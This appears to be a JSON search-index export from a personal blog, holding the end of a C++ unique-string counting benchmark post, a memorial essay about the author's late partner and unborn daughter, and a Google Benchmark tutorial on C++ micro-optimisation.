1) \u0026amp; (hashed.size() - 1); if (!hashed[slot]) hashed[slot] = \u0026amp;string; } std::size_t operator[](std::string_view string) const noexcept { auto hash = std::hash\u0026lt;std::string_view\u0026gt; {}(string); auto slot = hash \u0026amp; (hashed.size() - 1); while (hashed[slot] \u0026amp;\u0026amp; *hashed[slot] != string) slot = (slot + 1) \u0026amp; (hashed.size() - 1); return hashed[slot] ? hashed[slot] - first : std::numeric_limits\u0026lt;std::size_t\u0026gt;::max(); } }; std::optional\u0026lt;flat_unordered_set_t\u0026gt; first_offsets(std::span\u0026lt;std::string\u0026gt; strings) try { flat_unordered_set_t offsets {strings}; for (auto const \u0026amp; string : strings) offsets.try_emplace(string); return {std::move(offsets)}; } catch (...) { return {}; } This is a bit harder to implement in 20 minutes, but most C++ enthusiasts have probably implemented hash-tables at least a dozen times.\nWhich C++ and STL features did we use here?\nWe have hoped to get a std::flat_unordered_set in C++ for a while, but we are only getting a std::flat_set in C++23. Not a single compiler suite ships it at the time of writing. Moreover, using a sorted array would throttle on anything other than highly sparse sets due to countless std::memmove calls. So we can prototype a minimalistic flat_unordered_set_t. I belong to the \u0026ldquo;anti-exception cult\u0026rdquo;, not particularly appreciating it when programs crash, even if I am trying to process a 10 TB dataset with a 16 GB RAM budget. Dynamic allocations can cause std::bad_alloc. So naturally, I would catch the exception and return some message that the request can\u0026rsquo;t be processed. I recently used a feature from C++98 I have never used in my career - \u0026ldquo;Function-try-block\u0026rdquo;. Last time I was so proud of myself when I used std::launder in production code. I even tweeted about it 🐦 Not a big deal, but looks cleaner than nested expression blocks. C++23 also brings std::expected, which can complement the previous point. Again, STL implementations don\u0026rsquo;t have it yet, so let\u0026rsquo;s pick the std::optional. C++20 \u0026lt;bit\u0026gt; header brings std::bit_ceil to compute the next power-of-two integer. Well, this solution is much longer - 45 lines instead of 10. Let\u0026rsquo;s benchmark to see if it was worth it.\nBenchmarks Let\u0026rsquo;s generate large arrays of random strings controlling three variables:\nnumber of strings in the input array, size of the alphabet, length of strings. We would then use Google Benchmark to evaluate the four algorithms.\nThe last column contains the expected number of repetitions per unique string. The other columns store the number of strings processed on 1 core. The measurements were conducted on a 16\u0026quot; i9 2019 MacBook Pro. The unit of measurement is: millions of strings per second. Higher is better. Junior Middle Senior Enthusiast 1 M strings 32 char alphabet, length 3 3.1 13.2 12.6 23.9 32 char alphabet, length 4 0.8 2.0 2.0 14.0 32 char alphabet, length 5 0.6 1.4 1.2 18.6 1 M strings 16 char alphabet, length 3 4.9 21.5 19.2 31.0 16 char alphabet, length 4 2.2 9.8 8.9 20.5 16 char alphabet, length 5 0.8 2.0 2.1 13.2 32 char alphabet 1 M strings of length 3 3.1 13.2 12.6 23.9 100 K strings of length 4 0.9 2.5 2.6 26.3 10 K strings of length 5 1.4 3.3 3.6 41.6 In at least 2 cases we are getting close to 30x performance improvement even in the single-threaded environment. In multi-threaded case, the memory allocations would be more expensive, and the gap would be wider.\nFrankly speaking, reserving a relatively small buffer ahead of time and using copy-less Hash-Table with open addressing would obviously be faster than the associative container in STL.\nThe sources for the benchmark are on my GitHub, together with some other strings- and SIMD-related benchmarks. Feel free to repeat and share your numbers.\nWhat is the weird part? The numbers for the Senior solution are sometimes worse, than the Middle, while the code looks strictly better. If we just change the try_emplace line to this:\n1 offsets.try_emplace(std::string_view(strings[idx]), idx); And rerun the benchmark:\n1 2 3 cmake -DCMAKE_BUILD_TYPE=Release -B build_release \u0026amp;\u0026amp; \\ make -j 12 --silent -C build_release \u0026amp;\u0026amp; \\ build_release/unique_strings_cpp The numbers for the senior case get strictly better.\nThis was a nice warm-up, but if you are curious about advanced string algorithms and ready to go below the C++ layer and into the assembly, check out StringZilla and some of the other libraries I maintain 🤗\n","permalink":"https://ashvardanian.com/posts/count-unique-strings/","summary":"\u003cp\u003eSome of the most common questions in programming interviews are about strings - reversing them, splitting, joining, counting, etc.\nThese days, having to interview more and more developers across the whole spectrum, we see how vastly the solutions, even to the most straightforward problems, differ depending on experience.\nLet\u0026rsquo;s imagine a test with the following constraints:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eYou must find the first occurrence of every unique string in a non-empty array.\u003c/li\u003e\n\u003cli\u003eYou are only allowed to use the standard library, no other dependencies.\u003c/li\u003e\n\u003cli\u003eYou have 20 minutes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn Python, the solution may look like this:\u003c/p\u003e","title":"Counting Strings in C++: 30x Throughput Difference 💬"},{"content":"We went through life with a smile. Now I am smiling through tears, alone. Yesterday was the memorial service. One week ago, I didn\u0026rsquo;t know what that meant.\nYesterday I was sitting next to a coffin with the love of my life and our daughter in it.\nToday I must share their story.\nSona There was a girl no one knew. Some have seen her, and some talked to her. Some were friends, and some were relatives, but she was so much more than anyone could have imagined. Her name was Sona. She had a story. A short, tragic story full of love and pain.\nShe was born in Armenia to a kind family of doctors. She had a little sister, whom she loved endlessly. They were like two drops of water, indistinguishable to the eye but very different inside. Amazing how being the older sibling shapes you. She would care about another person from age two, guiding someone through life. She would run forward, make all the mistakes, and steer people behind in the right direction. And if something was wrong, she would take responsibility. But no one would take the blame for her.\nHer role model was her grandma. A soft and loving old lady. Ex history teacher. They would grow up walking around the \u0026ldquo;Victory\u0026rdquo; park and reading together. And now my Sona would bring the books to granny, filling her already huge library with Japanese books on how to raise kids.\nSona would come tired after work, call granny, saying \u0026ldquo;allo, Tatulya!\u0026rdquo; (\u0026ldquo;hello, Granny\u0026rdquo;) and every time granny had at least a little energy for reading, walking or chatting, Sona would rush to her home. Sometimes, during lunch breaks. She cared for everyone, for young and for old.\nHer parents worked hard, trying to give both kids the future they deserved. A future full of possibilities. So they migrated to Russia at the school age. My Sona would never agree with that decision. She didn\u0026rsquo;t stay in Moscow, and repatriated to Yerevan for higher education. My dear girl.\nShe would spend more time with granny again. She would study and teach simultaneously. Not just \u0026ldquo;teaching\u0026rdquo;. She was teaching kids with disabilities. I am shivering just imagining how hard it was. She was there for everyone, even those who couldn\u0026rsquo;t say her name or could never see her. She mentioned it just once, three months into our relationship, when we passed by that school\u0026hellip; She didn\u0026rsquo;t do it for credit.\nShe would study Economics in the \u0026ldquo;Black Building\u0026rdquo; of YSU. The university was a joke. So she pivoted. Applied to Cambridge. Got accepted, but she liked a guy. A guy who would change her life, and it wasn\u0026rsquo;t me. A guy without commitment, a lucky bastard, wouldn\u0026rsquo;t appreciate her for who she was. A person who pulled her back instead of pushing forward. So she didn\u0026rsquo;t go. Time passed, and that attraction would go on and off, so she applied again to Germany. She got accepted. Of course, she did. She was brilliant. That\u0026rsquo;s how she started her Master\u0026rsquo;s Thesis on Renewable Energy Sources. Getting internships and positions in Bundestag, she would see from the inside how filthy gerontocrats would party instead of helping people. She was too pure and too sharp for them.\nSo she chose a new home for herself. Denmark. A company called Vestas. The biggest producer of wind turbines in the world. The right place where she would make an impact. Not just in the industry, but in people! The managers would compete to give her promotions sooner. Some would say they just loved going to lunches with Sona because she was eating slowly. That would give them an excuse to avoid work a bit longer, but it was an excuse to spend more time with her. I knew it, she knew it, everyone knew it. My sunshine was unique.\nPromotion after promotion, her job would get more demanding. She would travel across Europe alone on cars, trains, buses, airplanes, and ships. All to make the world greener. She chose a purpose in life and believed in it until the end. She convinced me to separate the garbage that would still mix at the factory later. I don\u0026rsquo;t know how she pulled that off.\nHer travel map was broad, but it had a few extraordinary places. Her home away from home - \u0026ldquo;Inglease\u0026rdquo;. She is her favorite person in Denmark. An old softy who would rescue and adopt kids from all over the world and sometimes rent out a room in her home to Sona. Sona would pay the rent long after she moved out, just to support her. First floor. Very Dutch interior. I was there once. The three of us were sitting together. She prepared the dinner the way Sona loved it. Blessed by the moment and in the spirit of never-ending love. She had to come this summer to play with our daughter. Everyone had to come. For childbirth, not for their funeral.\nThe boy would still reappear in her life. Causing more and more pain every time. The pain she hadn\u0026rsquo;t discussed with anyone but me years after. Until then, she carried it in her massive heart. She would learn to meditate. She would learn to love herself again. Her only vacation would always be just a couple of weeks meditating in the mountains. Alone with nature. She had a favorite Buddhist temple in India. The place where she would recover. The place she had to show me.\nThen, she co-founded \u0026ldquo;Zevit\u0026rdquo;. Her second true family. She made impossible things possible. Convinced a VP of a Dutch giant to start a company in Armenia. It was a story on its own. I will never tell it as good as she did. A company that would service renewable plants all around Europe. They grew rapidly, but the objective was not just the quantity; instead - the quality. She found great people, gave them a purpose, and shared her culture. Her calendar was always overbooked, but she always did more than was intended. Every CEO can fly to an exhibition in a big European venue. How many would drive to a demilitarized zone to find talented kids and design projects for them to learn? Projects that would require technical skills like 3D printing and soft skills like planning and negotiations. She would curate those projects herself and would fund some of them personally. She never had the resources I have but did so much more. She just did. My smarty.\nBefore her next relocation to Armenia, a war happened. It was April 2016. Our friend told me how he first met her. His phone rang, and a gentle voice said:\nHello, it\u0026rsquo;s Sona. How can I help? My love. She joined the \u0026ldquo;Support our Heroes\u0026rdquo; non-profit. Not just as a donor but as a member. One more work after work. Organizing emails and finances for all of those who support our heroes. She would still do it even in the first months of pregnancy.\nHow I became the luckiest man alive? There was an event on our campus. About science, technology and journalism. Topics we both enjoyed.\nPeople gathered the usual tech crowd of Yerevan. Except for one girl I haven\u0026rsquo;t seen before. I looked at her once, twice, … then she approached me:\nS: Do I know you? A: Not sure. I don\u0026rsquo;t know you. She thought I was shy, not after the last sentence. She heard it condescendingly. Not intended.\nH: How so? You don\u0026rsquo;t know each other?! I should have connected you a long time ago. The H is our shared friend. The panel discussion begins. I am on stage. She is the crowd. I am silent, looking at her. Once the event ends, she invites a few of us for dinner. Some attendees and some speakers. She always did that.\nWe go to one of her favorite restaurants. She is wearing a linen summer dress. The evening summer breeze is stroking her hair. I sit next to her. Peacocking. As silent as the previous hour, equally active I was in the next. Trying to grab her attention. I knew nothing about her, only that she was special.\nI ask stupid, obviously targeted questions like \u0026ldquo;how old are you?\u0026rdquo; at the table with several other people around. How clumsy. I learn just enough to know that I must see this girl again. She drives everyone home. I try to find causes for her to drop me last. I failed short. I was the second to last passenger to leave the car. No kiss, no chit-chat, just a LinkedIn profile. She was a busy girl.\n2am. I received a notification on LinkedIn.\nS: I couldn\u0026rsquo;t sleep trying to remember where I had seen you\u0026hellip; Aha! She thought about me. I ask her out again and again. Lame excuses. I propose that we meet at the park.\nS: Which park? The most excellent park next to us was the \u0026ldquo;Lovers Park\u0026rdquo;. I couldn\u0026rsquo;t propose such a name. It\u0026rsquo;s too direct. I try to describe it using the address, the neighboring streets, etc. She obviously understands it. Long story short, we met on Sunday evening on the Cascade stairs.\nI brought vegan snacks the way she liked them. I got a tall red rose. I chose a wine that I have previously tried in the Argentinian vineyards. I wanted to make that evening special for her, even before knowing how much she deserved that. We just sat on the grass and talked. For hours. I wanted her to tell me everything. Every sentence she said resonated. We lived on the same frequency. Almost.\nHer office was just 5 mins away from mine.\nMy entire team and I have lunches where they do, but we come after 2pm, and they leave before 1pm.\nWe went to the same gym. She went early, and I went late.\nWe had a hundred shared friends, but we have never met since my complete relocation to Armenia in September 2020, before another war. We later realized that even our non-tech friends in random countries somehow match…\nShe spoke Russian, English, Armenian and German fluently, not to mention using Dutch, Swedish and other languages for work. We would start conversations in one language and continue in another. She said she was searching for teachers to help her practice French and Italian. I snapped - \u0026ldquo;I am in!\u0026rdquo;.\nBy the time it was late, I knew she was THE ONE. THE ONE FOR ME. She was wearing red lipstick that night. I didn\u0026rsquo;t dare to kiss. She went home. I went home. I couldn\u0026rsquo;t sleep. As I later learned, she couldn\u0026rsquo;t either. She needed me just as much as I needed her. Next morning I go to work, to our Unum HQ, but I leave early. Not 11pm, not 10pm, but closer to 6. That was the first sign for my team. Everyone suspected what was going on. I was smiling with my eyes. She changed me.\nThat evening, I went to a wine shop. Got the same bottle. Bought the same snacks. One more rose. Yesterday should have never ended, I thought. Not for us. She loved nuts. I went home and spent hours cleaning them up. I knew she had a lot of work, so I wanted to surprise her at her doorstep when she came would come home. I was too late.\nNuts took too long. She was home, in bed, texting me. Now I am scrolling through a gazillion of love messages to remember her reaction. She was shocked.\nS: I have a hectic week. Would you like to meet again? If so, suggest a time, so I can book it in my cal. A: Are you home? S: When? A: Now S: Yes A: Can you come down? S: Where? A: To the yard. I was sitting in the parking lot, essentially, on the asphalt. Rose in my hand, bottle half empty, and I\u0026rsquo;m half confident to tell her how I feel.\nShe sat speechless for half an hour, and I spoke.\nI told her I loved her. By the time I finished, she had realized we were still at the parking lot, essentially on the street, and she pulled me into the yard. I told her I was the dumbest person on earth for not kissing her yesterday.\nAnd I kissed her. And I kissed her again. And so it began.\nUs That night we lay on the grass for hours. Not talking about our pasts anymore, only about our future. Shared future. We knew we should have kids together as many as possible on the second date. We were picking names. Our girls\u0026rsquo; name would have been Aria.\nAfter her death, I found her diary. She wrote - that it was the happiest day of her life. For me too. From that day onwards, there wasn\u0026rsquo;t a day we wouldn\u0026rsquo;t tell each other how much love we felt.\nI wanted to rebuild our country. She wanted the same. We were together. Believed and supported each other unconditionally. She knew which buildings in the city desperately needed reconstruction. She knew how to get it done. She could get it done. Every time we walked around Yerevan, she would just point her sweet little finger at a building and describe how she saw it, and I would want to work 10x harder than before to help it happen.\nI remember the first time she invited me upstairs. She was nervous. I was too. She wasn\u0026rsquo;t just letting me into her home. It was her pure soul, broken into pieces. The boy who left, had left her in debt, and she had to buy his share of the mortgage. It is life in its ugly financial details. Before the building construction was finished, her apartment was complete. She finished before everyone else, a lonely girl with a debt and a company on her shoulders. Many of our neighbors haven\u0026rsquo;t completed heavy construction, even today, years after. That\u0026rsquo;s against the regulation. She always played by the book. If she didn\u0026rsquo;t like the rules, she updated the book.\nShe showed me how she designed the apartment. All in lite tones. Very bright and full of light. She carved her lamps from natural wood! She did it with love and showed it to everyone with pride. She tried to build a little fountain from clay for the balcony. It looked so funny. Her cousin and I kept laughing about it, with love, of course. And Sona would laugh with us.\nShe showed me her library, the first steps. Books in all the languages. I took the one by Werner Heisenberg, and we would talk about physics. I could talk to her about everything. Every paper I read, she would listen and understand. Maths, Physics, Biology, Computing, Business, she was interested in everything. The last thing we were practising was binary, ternary and hexadecimal arithmetic. She had to teach it to Aria. She introduced me to her family. She warned me, \u0026ldquo;my Papa\u0026rdquo; loves telling stories about me. She was right. His favorite was about how Sona organized a trip for everyone to Europe. A lonely immigrant student, she spent her last pennies to fly her parents to Europe for the first time. Parents were coming to Germany. Little did they know, the trip had to go through France, Italy and Switzerland. She prepared everything, rented a car, booked hotels, and had a path around every destination she considered worthy. What a fantastic gift. It was the summer of 2015. I was also in Cannes, walking on the same streets. She might have been just a step away. Again.\nEverything was unique with her. Even going to a concert or a cafe was a quest. She wanted us to keep our relationship private, just to ourselves. Even now, it is a surprise to many. We were together. No rings, no documents, no churches or impossible promises. We were there for each other. I would enter the cafe first and check if we have any shared friends inside. Problematic in the tiny Yerevan. More so if you want the food to be locally sourced, organic, vegan, and the people around - non-smoking. The stuff that others neglected, she found important. But no matter how long every order took, how quirky it may have looked, I was always the weirdo in our couple. And she loved that.\nNext week, my mother planned a visit, and I already knew how to surprise her. No one believed I would ever find someone. I connected them, and it was love at first sight. The daughter my mother never had. Her copy in more ways than one. Very Freudian, I know. Two most amazing women I have ever seen, both with complicated lives. They were both my family, sitting together and dining. With me, the luckiest man alive. I have planned the meeting ahead of time for Tuesday. But when mom heard the news, she couldn\u0026rsquo;t wait to see her. So we walked from my office to hers and asked her to join us for a casual dinner. No preparation. Just us.\nUntil now, I described the first couple of weeks of our life. We were already planning a baby, adjusting our plans for the next years. We were together for just 8 happy months, not even 18. That\u0026rsquo;s too little. Our daughter was 7. She was the most expected and loved child in the world. The roundest sweetest belly I touched. She would have been unique. Best of us. As pretty, soft and intelligent as her mom.\nSona said I am the strongest man in the world, and our daughter will be like me. I was only strong because she was with me. On one of our first dates, I prepared a non-inclusive list of a hundred things to hate in me. I was afraid she would love me, and I would cause pain to her. The purest person in the world. She didn\u0026rsquo;t listen. She loved every one of my imperfections.\nThat is who she was. My love, my life, and my heart.\n","permalink":"https://ashvardanian.com/posts/my-sona/","summary":"\u003cp\u003eWe went through life with a smile.\nNow I am smiling through tears, alone.\nYesterday was the memorial service.\nOne week ago, I didn\u0026rsquo;t know what that meant.\u003c/p\u003e\n\u003cp\u003eYesterday I was sitting next to a coffin with the love of my life and our daughter in it.\u003c/p\u003e\n\u003cp\u003eToday I must share their story.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Ash and Sona: First trip together\" loading=\"lazy\" src=\"/my-sona/ash-and-sona-first-trip.jpg\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"sona\"\u003eSona\u003c/h2\u003e\n\u003cp\u003eThere was a girl no one knew.\nSome have seen her, and some talked to her.\nSome were friends, and some were relatives, but she was so much more than anyone could have imagined.\nHer name was Sona.\nShe had a story.\nA short, tragic story full of love and pain.\u003c/p\u003e","title":"We went through life with a smile 💔"},{"content":" There are only two kinds of languages: the ones people complain about and the ones nobody uses.\n– Bjarne Stroustrup, creator of C++.\nVery few consider C++ attractive, and only some people think it\u0026rsquo;s easy. Choosing it for a project generally means you care about the performance of your code. And rightly so! Today, machines can process hundreds of Gigabytes per second, and we, as developers, should all learn to saturate those capabilities. So, let\u0026rsquo;s look into a few simple code snippets and familiarize ourselves with Google Benchmark (GB) - the most famous library in the space using incrementally complex examples.\nFor the impatient ones, here is the source code on GitHub. That repo also has the results for AMD EPYC 7302 and Threadripper PRO 3995WX CPUs with -O1 and -O3 builds.\nMath Micro-Ops Every benchmark has the following structure. You define the operation, but GB decides how often to run it.\n1 2 3 4 5 6 7 8 9 10 11 #include \u0026lt;benchmark/benchmark.h\u0026gt; namespace bm = benchmark; static void i32_addition(bm::State \u0026amp;state) { int32_t a, b, c; for (auto _ : state) c = a + b; } BENCHMARK(i32_addition); Compile it with -O3, run, result: 0 ns. Thanks for your attention, that\u0026rsquo;s all 😅\nUnfortunately, no operation runs this fast on the computer. On a 3 GHz CPU, you would perform 3 Billion ops every second. So, each would take 0.33 ns, not 0 ns. The compiler just optimized everything out.\nCost of Random Generators What will happen if we mutate the addition arguments between loop iterations?\n1 2 3 4 5 static void i32_addition_random(bm::State \u0026amp;state) { int32_t c = 0; for (auto _ : state) c = std::rand() + std::rand(); } __25ns__looks better than zero, but something doesn\u0026rsquo;t add up. If the addition is a single hardware instruction, why did it take ~100 cycles? There are BMI2 bit-manipulation assembly instructions with such runtime on AMD Zen and Zen 2 chips, but not the addition.\n1 2 3 4 5 static void i32_addition_semi_random(bm::State \u0026amp;state) { int32_t a = std::rand(), b = std::rand(), c = 0; for (auto _ : state) bm::DoNotOptimize(c = (++a) + (++b)); } Here is the pattern we often use in benchmarking. There are better approaches for something as small as an addition, but it is good enough to make a point. Initialize randomly before evaluation, then mutate. Your mutations can be regular and predictable. They just shouldn\u0026rsquo;t be expensive. We also apply the DoNotOptimize function to force the compilation of that useless line.\nThis run took 0.7ns per iteration or around 2 cycles. The first cycle was spent incrementing a and b on different ALUs of the same core, while the second was performed the final accumulation.\n1 2 BENCHMARK(i32_addition_random)-\u0026gt;Threads(8); BENCHMARK(i32_addition_semi_random)-\u0026gt;Threads(8); Now, let\u0026rsquo;s run those benchmarks on 8 threads. The std::rand powered function took 12'000 ns, while our latest variant remained the same. Like many other libc functions, it depends on the global state and uses mutexes to synchronize concurrent access to global memory. Here is its source in glibc:\n1 2 3 4 5 6 7 8 long int __random (void) { int32_t retval; __libc_lock_lock (lock); (void) __random_r (\u0026amp;unsafe_state, \u0026amp;retval); __libc_lock_unlock (lock); return retval; } weak_alias (__random, random) Slow Trigonometry in LibC and STL and Fast Math Let\u0026rsquo;s say you want to compute the sine of a floating-point number. The standard has std::sin for that, but there is a different way. We can approximate the result with the Taylor-Maclaurin series, taking the first three components of the expansion.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 static void f64_sin(bm::State \u0026amp;state) { double argument = std::rand(), result = 0; for (auto _ : state) bm::DoNotOptimize(result = std::sin(argument += 1.0)); } static void f64_sin_maclaurin(bm::State \u0026amp;state) { double argument = std::rand(), result = 0; for (auto _ : state) { argument += 1.0; result = argument - std::pow(argument, 3) / 6 + std::pow(argument, 5) / 120; bm::DoNotOptimize(result); } } Pretty simple. Here is the result:\n51 ns for the std::sin. 27 ns for the Maclaurin series with std::pow. Can we do better? Of course, we can. Raising to a power x is a generic operation. In other words, likely slow. Let\u0026rsquo;s unfold the expression manually:\n1 2 3 4 5 6 7 8 9 static void f64_sin_maclaurin_powless(bm::State \u0026amp;state) { double argument = std::rand(), result = 0; for (auto _ : state) { argument += 1.0; result = (argument) - (argument * argument * argument) / 6.0 + (argument * argument * argument * argument * argument) / 120.0; bm::DoNotOptimize(result); } } Result: 2.4 ns, or 10x improvement! The compiler will handle redundant operations, but it cannot freely reorder them. In math, addition and multiplication are associative for real numbers but not in programming. The order of operands will affect the result, so the compiler has its hands cuffed. Let\u0026rsquo;s set them free!\n1 2 3 4 5 6 7 8 9 10 [[gnu::optimize(\u0026#34;-ffast-math\u0026#34;)]] static void f64_sin_maclaurin_with_fast_math(bm::State \u0026amp;state) { double argument = std::rand(), result = 0; for (auto _ : state) { argument += 1.0; result = (argument) - (argument * argument * argument) / 6.0 + (argument * argument * argument * argument * argument) / 120.0; bm::DoNotOptimize(result); } } If you are not familiar with the modern C++ attributes, here is the older GCC version: __attribute__((optimize(\u0026quot;-ffast-math\u0026quot;))). Here, we advise GCC to apply extra flags when compiling the scope of this specific function. This is one of my favorite tricks for rapid benchmarking without having to change CMakeLists.txt. Result: 0.85 ns.\nFor those interested, GCC has a separate manual for the complete list of available floating-point math optimizations. The -ffast-math is a shortcut for -funsafe-math-optimizations, a shortcut for -fassociative-math. In our specific case, with that many chained multiplications, the ordering may change under/overflow behavior, as stated in the \u0026ldquo;Transformations\u0026rdquo; section.\nInteger Division We have just accelerated a floating-point trigonometric function by a factor of 60x from 51 ns to less than a nanosecond! Can we do the same for integer division, the slowest integer arithmetical operation? To a certain extent, yes.\n1 2 3 4 5 static void i64_division(bm::State \u0026amp;state) { int64_t a = std::rand(), b = std::rand(), c = 0; for (auto _ : state) bm::DoNotOptimize(c = (++a) / (++b)); } This variant runs in 3.3 ns, or 10x longer than addition. But what if we divide by a constant, not a mutating value? In that case, we must ensure the compiler knows that our denominator remains constant!\n1 2 3 4 5 6 7 8 9 10 11 12 static void i64_division_by_const(bm::State \u0026amp;state) { int64_t money = 2147483647; int64_t a = std::rand(), c; for (auto _ : state) bm::DoNotOptimize(c = (++a) / *std::launder(\u0026amp;money)); } static void i64_division_by_constexpr(bm::State \u0026amp;state) { constexpr int64_t b = 2147483647; int64_t a = std::rand(), b; for (auto _ : state) bm::DoNotOptimize(c = (++a) / b); } The above functions only differ because the first involves some shady money laundering 😅 The compiler fails to trace the origins of money, so it can\u0026rsquo;t replace it with shifts and multiplications. How big is the difference: 3.3 ns vs 0.5 ns!\nHardware Acceleration without Intrinsics Most of the examples in this article are abstract, but this happened to me a couple of months ago.\n1 2 3 4 5 [[gnu::target(\u0026#34;default\u0026#34;)]] static void u64_population_count(bm::State \u0026amp;state) { auto a = static_cast\u0026lt;uint64_t\u0026gt;(std::rand()); for (auto _ : state) bm::DoNotOptimize(__builtin_popcount(++a)); } Compilers have special intrinsics, like __builtin_popcount. Those are high-performance routines shipped with the compiler and aren\u0026rsquo;t portable. Those differ from Intel or ARM intrinsics, which are hardware-specific and compiler-agnostic. These are hardware-agnostic and compiler-specific.\n1 2 3 4 5 [[gnu::target(\u0026#34;popcnt\u0026#34;)]] static void u64_population_count_x86(bm::State \u0026amp;state) { auto a = static_cast\u0026lt;uint64_t\u0026gt;(std::rand()); for (auto _ : state) bm::DoNotOptimize(__builtin_popcount(++a)); } I forgot to pass the -mpopcnt flag in the first variant, and the compiler silently continued. When you want to be specific - explicitly trigger the popcnt instruction. The cost of this mistake was: 1.9 ns and 0.3 ns, or over 6x!\nBroader Logic and Memory Data Alignment Compute may be expensive, but memory accesses always are! The more you miss your CPU caches, the more you waste time!\n1 2 3 4 5 6 constexpr size_t f32s_in_cache_line_k = 64 / sizeof(float); constexpr size_t f32s_in_cache_line_half_k = f32s_in_cache_line_k / 2; struct alignas(64) f32_array_t { float raw[f32s_in_cache_line_k * 2]; }; Let\u0026rsquo;s illustrate it by creating a cache-aligned array with 32x floats. That means 2x 64-byte cache lines worth of content.\n1 2 3 4 5 6 7 8 9 10 11 12 13 static void f32_pairwise_accumulation(bm::State \u0026amp;state) { f32_array_t a, b, c; for (auto _ : state) for (size_t i = f32s_in_cache_line_half_k; i != f32s_in_cache_line_half_k * 3; ++i) bm::DoNotOptimize(c.raw[i] = a.raw[i] + b.raw[i]); } static void f32_pairwise_accumulation_aligned(bm::State \u0026amp;state) { f32_array_t a, b, c; for (auto _ : state) for (size_t i = 0; i != f32s_in_cache_line_half_k; ++i) bm::DoNotOptimize(c.raw[i] = a.raw[i] + b.raw[i]); } Now we run two benchmarks. Both perform the same logical operations - 8x float additions and 8x stores. But the first took 8 ns and the second took 4 ns. Our benchmark ends up being dominated by the cost of the split-load or the lack of memory alignment, in other words.\nCost of Branching The if statement and seemingly innocent ternary operator (condition ? a : b) can have a high-performance impact. It\u0026rsquo;s especially noticeable when conditional execution happens at the scale of single bytes, like in text processing, parsing, search, compression, encoding, etc. Don\u0026rsquo;t forget that every for statement is, in reality, just a combination of an if and goto.\n1 2 3 4 5 6 7 8 9 10 11 12 13 uint64_t checksum = 0; for (size_t i = 0; i != string.size(); ++i) checksum += string[i]; // Is identical to: uint64_t checksum = 0; size_t i = 0; checksum_iteration: if (i != string.size()) { checksum += string[i]; ++i; goto checksum_iteration; } The CPU has a branch-predictor, one of the silicon\u0026rsquo;s most complex parts. It memorizes the most common if statements to allow \u0026ldquo;speculative execution\u0026rdquo;. In other words, start processing the job i + 1 before finishing the job i. Those branch predictors are very powerful, and if you have a single if statement on your hot-path, it\u0026rsquo;s not a big deal. But most modern programs are almost entirely built on if statements. To estimate the cost of those, let\u0026rsquo;s generate some random_values, iterate through them and pick different branches depending on the value of\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static void cost_of_branching_for_different_depth(bm::State \u0026amp;state) { auto count = static_cast\u0026lt;size_t\u0026gt;(state.range(0)); std::vector\u0026lt;int32_t\u0026gt; random_values(count); std::generate_n(random_values.begin(), random_values.size(), \u0026amp;std::rand); int32_t variable = 0; size_t iteration = 0; for (auto _ : state) { // Loop around to avoid out-of-bound access. // For power-of-two sizes of `random_values` the `(++iteration) \u0026amp; (count - 1)` // is identical to `(++iteration) % count`. int32_t random = random_values[(++iteration) \u0026amp; (count - 1)]; bm::DoNotOptimize(variable = (random \u0026amp; 1) ? (variable + random) : (variable * random)); } } BENCHMARK(cost_of_branching_for_different_depth)-\u0026gt;RangeMultiplier(4)-\u0026gt;Range(256, 32 * 1024); Up to 4096 branches will be memorized on most modern CPUs, but anything beyond that would work slower. Running the benchmark, I end up with 2.9 ns vs. 0.7 ns, so on average, 10 cycles are wasted when you have 2 random branches. This means the cost of branch mis-prediction is around 20 CPU cycles.\nAdvanced Google Benchmark Features GB packs a lot of little-known functionality. Let\u0026rsquo;s take a more complex workload to understand it - sorting. What\u0026rsquo;s wrong with the following benchmark?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 static void sorting(bm::State \u0026amp;state) { auto count = static_cast\u0026lt;size_t\u0026gt;(state.range(0)); auto include_preprocessing = static_cast\u0026lt;bool\u0026gt;(state.range(1)); std::vector\u0026lt;int32_t\u0026gt; array(count); std::iota(array.begin(), array.end(), 1); for (auto _ : state) { if (!include_preprocessing) state.PauseTiming(); // Reverse order is the most classical worst case, // but not the only one. std::reverse(array.begin(), array.end()); if (!include_preprocessing) state.ResumeTiming(); std::sort(array.begin(), array.end()); bm::DoNotOptimize(array.size()); } } BENCHMARK(sorting)-\u0026gt;Args({3, false})-\u0026gt;Args({3, true}); BENCHMARK(sorting)-\u0026gt;Args({4, false})-\u0026gt;Args({4, true}); We are benchmarking the std::sort, the most used \u0026lt;algorithm\u0026gt;. Array sizes are fixed at 3 and 4 elements in different benchmarks. Each runs twice:\nwith std::reverse preprocessing time included. with std::reverse preprocessing time excluded. One took 227 ns and another took 9 ns. Which is which? The answer is different from what common sense suggests.\nThe Cost of Timing in Google Benchmark Aside from the primary operation in question - std::sort, we also do some pre-processing. That pre-processing code is isolated with state.*Timing() functions, and often, people use those without realizing the actual cost.\n1 2 3 4 5 6 7 8 9 static void upper_cost_of_pausing(bm::State \u0026amp;state) { int32_t a = std::rand(), c = 0; for (auto _ : state) { state.PauseTiming(); ++a; state.ResumeTiming(); bm::DoNotOptimize(c += a); } } This took 213 ns. Those things look tiny when processing gigabytes, but you will run your benchmark on a small input one day. Plan ahead to extract an unaffected asymptotic curve, as we will do later.\nAsymptotic Complexity and Sorting GB also packs functionality for complexity analysis. Those come in handy when you analyze scaling. Most of us assume that std::sort uses Quicksort, at least for significant inputs. But what if the input is ginormous?\nThere is the Parallel STL! In GCC, those procedures are directed towards Intel\u0026rsquo;s oneTBB, which will use many threads to sort your numbers. The underlying algorithm would almost certainly be a linear-time Radix sort on GPUs. But what\u0026rsquo;s the complexity of oneTBB\u0026rsquo;s implementation on the CPU?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 template \u0026lt;typename execution_policy_t\u0026gt; static void super_sort(bm::State \u0026amp;state, execution_policy_t \u0026amp;\u0026amp;policy) { auto count = static_cast\u0026lt;size_t\u0026gt;(state.range(0)); std::vector\u0026lt;int32_t\u0026gt; array(count); std::iota(array.begin(), array.end(), 1); for (auto _ : state) { std::reverse(policy, array.begin(), array.end()); std::sort(policy, array.begin(), array.end()); 